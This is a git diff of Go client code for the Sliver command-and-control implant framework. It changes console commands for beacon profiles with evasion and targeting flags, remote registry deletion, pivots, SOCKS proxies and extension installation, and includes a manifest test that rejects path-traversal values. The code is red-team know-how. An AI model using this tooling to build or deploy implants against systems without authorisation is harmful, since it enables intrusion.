@@ -1425,67 +1212,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
profilesCmd.AddCommand(profilesNewCmd)
// New Beacon Profile Command
profilesNewCmd.AddCommand(&grumble.Command{
Name: consts.BeaconStr,
Help: "Create a new implant profile (beacon)",
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}),
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 0, "beacon interval minutes")
f.Int64("S", "seconds", 60, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "name of the profile", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.ProfilesNewBeaconCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
profilesCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a profile",
@@ -1494,10 +1221,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "name of the profile", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return generate.ProfileNameCompleter(prefix, args, con)
a.String("profile-name", "name of the profile")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1514,13 +1238,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "List implant builds",
LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
Flags: func(f *grumble.Flags) {
f.String("o", "os", "", "filter builds by operating system")
f.String("a", "arch", "", "filter builds by cpu architecture")
f.String("f", "format", "", "filter builds by artifact format")
f.Bool("s", "only-sessions", false, "filter interactive sessions")
f.Bool("b", "only-beacons", false, "filter beacons")
f.Bool("d", "no-debug", false, "filter builds by debug flag")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1539,10 +1256,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("name", "implant name", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return generate.ImplantBuildNameCompleter(prefix, args, generate.ImplantBuildFilter{}, con)
a.String("implant-name", "implant name")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2147,6 +1861,24 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadMacroStr,
Help: "Load a sliver macro",
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
macros.LoadMacroCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the macro directory")
},
HelpGroup: consts.GenericHelpGroup,
})
// [ Environment ] ---------------------------------------------
envCmd := &grumble.Command{
@@ -2294,25 +2026,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryDeleteKeyStr,
Help: "Remove a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegDeleteKeyCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to remove value from")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
@@ -2446,24 +2159,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: "graph",
Help: "Get details of a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotsGraphCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ WireGuard ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -2649,8 +2344,8 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
}
socksCmd.AddCommand(&grumble.Command{
Name: consts.StartStr,
Help: "Start an in-band SOCKS5 proxy",
Name: "add",
Help: "Create a new Socks5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
@@ -2659,15 +2354,15 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksStartCmd(ctx, con)
socks.SocksAddCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
socksCmd.AddCommand(&grumble.Command{
Name: consts.StopStr,
Help: "Stop a SOCKS5 proxy",
Name: "rm",
Help: "Remove a Socks5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
@@ -2675,7 +2370,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksStopCmd(ctx, con)
socks.SocksRmCmd(ctx, con)
con.Println()
return nil
},
@@ -3006,7 +2701,7 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Get Privs ] -----------------------------------------------------------------
getprivsCmd := &grumble.Command{
Name: consts.GetPrivsStr,
Help: "Get current privileges (Windows only)",
Help: "Get current privileges (Windows)",
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -3023,13 +2718,13 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Extensions ] -----------------------------------------------------------------
extensionCmd := &grumble.Command{
Name: consts.ExtensionsStr,
Help: "Manage extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr}),
Name: consts.ExtensionStr,
Help: "Manage sliver extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsCmd(ctx, con)
extensions.ListCmd(ctx, con)
con.Println()
return nil
},
@@ -3037,82 +2732,25 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
extensionCmd.AddCommand(&grumble.Command{
Name: consts.ListStr,
Help: "List extensions loaded in the current session or beacon",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
HelpGroup: consts.SliverHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsListCmd(ctx, con)
con.Println()
return nil
},
})
extensionCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Temporarily load an extension from a local directory",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
Help: "Register a new extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionLoadCmd(ctx, con)
extensions.LoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
},
Completer: func(prefix string, args []string) []string {
return completers.LocalPathCompleter(prefix, args, con)
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
extensionCmd.AddCommand(&grumble.Command{
Name: consts.InstallStr,
Help: "Install an extension from a local directory or .tar.gz file",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsInstallCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("path", "path to the extension .tar.gz or directory")
},
Completer: func(prefix string, args []string) []string {
return completers.LocalPathCompleter(prefix, args, con)
},
})
extensionCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove an installed extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsRemoveCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("name", "the command name of the extension to remove")
},
Completer: func(prefix string, args []string) []string {
return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.PreludeOperatorStr,
-4
View File
@@ -1,4 +0,0 @@
Completers
===========
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
-63
View File
@@ -1,63 +0,0 @@
package completers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
)
// LocalPathCompleter - Completes a local file system path
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
var parent string
var partial string
fi, err := os.Stat(prefix)
if os.IsNotExist(err) {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
} else {
if fi.IsDir() {
parent = prefix
partial = ""
} else {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
}
}
results := []string{}
ls, err := ioutil.ReadDir(parent)
if err != nil {
return results
}
for _, fi = range ls {
if 0 < len(partial) {
if strings.HasPrefix(fi.Name(), partial) {
results = append(results, filepath.Join(parent, fi.Name()))
}
} else {
results = append(results, filepath.Join(parent, fi.Name()))
}
}
return results
}
+18 -23
View File
@@ -1,51 +1,46 @@
Extensions
===========
====
Allows to load and execute 3rd party extensions.
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
be ignored.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── extension.json
├── manifest.json
└── windows
│ └── extension.x86.dll
│ └── extension.x64.dll
└── linux
│ └── extension.x86.so
│ └── extension.x64.so
└── darwin
└── extension.x86.dylib
└── extension.x64.dylib
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"version": "1.0.0",
"extension_author": "ac1d-burn",
"original_author": "zer0-cool",
"repo_url": "https://github.com/foo/bar",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"depends_on": "bar",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "extension.x64.o",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
@@ -56,7 +51,7 @@ The structure is the following one:
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
-125
View File
@@ -1,125 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
}
}
// PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
"Extension Author",
"Original Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Version,
installed,
extension.ExtensionAuthor,
extension.OriginalAuthor,
extension.RepoURL,
})
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
if strings.HasPrefix(manifest.CommandName, prefix) {
results = append(results, manifest.CommandName)
}
}
return results
}
@@ -1,245 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
sample2 = `{
"name": "test2",
"command_name": "test2",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "../../../../foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
extManifest, err := ParseExtensionManifest([]byte(sample1))
if err != nil {
t.Fatalf("Error parsing extension manifest: %s", err)
}
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
if extManifest.ExtensionAuthor != "test" {
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
}
if extManifest.OriginalAuthor != "test" {
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
}
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
if extManifest.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
}
if len(extManifest.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
}
if extManifest.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
}
if extManifest.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
}
if extManifest.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
}
extManifest2, err := ParseExtensionManifest([]byte(sample2))
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if extManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
}
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
const (
sample3 = `{
"name": "test3",
"command_name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
if err != nil {
t.Fatalf("Failed to parse initial sample3: %s", err)
}
missingName := (*sample3)
missingName.Name = ""
data, _ := json.Marshal(missingName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing name error, got none")
}
missingCmdName := (*sample3)
missingCmdName.CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing command name error, got none")
}
missingHelp := (*sample3)
missingHelp.Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing help error, got none")
}
missingFiles := (*sample3)
missingFiles.Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files error, got none")
}
missingFileOS := (*sample3)
missingFileOS.Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileOS)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.os error, got none")
}
missingFileArch := (*sample3)
missingFileArch.Files = []*extensionFile{
{
OS: "windows",
Arch: "",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileArch)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.arch error, got none")
}
missingFilePath := (*sample3)
missingFilePath.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: "",
},
}
data, _ = json.Marshal(missingFilePath)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
invalidPaths := []string{
"../../../../../",
"/../../../../..",
".",
"/",
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: invalidPath,
},
}
data, _ = json.Marshal(missingFilePath2)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
}
}
-174
View File
@@ -1,174 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
} else {
installFromDir(extLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
-54
View File
@@ -1,54 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
+100 -129
View File
@@ -1,23 +1,5 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -30,45 +12,38 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
